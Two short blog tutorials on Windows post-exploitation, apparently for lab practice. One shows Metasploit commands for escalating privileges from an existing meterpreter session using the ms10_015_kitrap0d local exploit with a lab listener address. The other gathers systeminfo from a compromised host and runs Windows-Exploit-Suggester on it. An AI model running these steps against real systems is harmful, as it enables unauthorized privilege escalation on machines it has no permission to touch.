local_exploit_suggester – Windows enum

by Vry4n_ | Dec 5, 2019 | WIndows Post-Exploitation

Having a session already the next step is to escalate privileges. The next sample is going to show basic steps for Windows

1. Find about the target

• X86/windows

2. Scan for vulnerabilities

• run post/multi/recon/local_exploit_suggester

For this demo, I will be using the first entry, exploit/windows/local/ms10_015_kitrap0d

3. Switch to TMP folder

• cd %TEMP%
• pwd

4. Run metasploit exploit in this session

• background
• use exploit/windows/local/ms10_015_kitrap0d

• set session 7
• set LHOST 10.10.14.32

5. Check for current user

• getuid

Windows-Exploit-Suggester – Windows enum

by Vry4n_ | Dec 5, 2019 | WIndows Post-Exploitation

This script is to find out about available exploits in Windows.

Execution

1. Gather system information from meterpreter.

execute -f => to run cmd commands

cmd.exe /c systeminfo => open cmd and execute the command systeminfo

>> systeminfo.txt => create a file and append the output to it

• execute -f “cmd.exe /c systeminfo >> systeminfo.txt”

2. Download the file systeminfo.txt we just created into Kali/Parrot Linux.

• download systeminfo.txt

Now we have system info to work with

3. Download, update, and install required libraries to run the script.

• git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
• cd Windows-Exploit-Suggester
• python2 windows-exploit-suggester.py –update

In my environment I had to install xlrd (pip install xlrd & pip install xlrd –upgrade)

4. Analyze the systeminfo.txt file we downloaded from the host with windows-exploit-suggester

• ./windows-exploit-suggester.py –database 2019-010-26-mssb.xlsx –systeminfo systeminfo.txt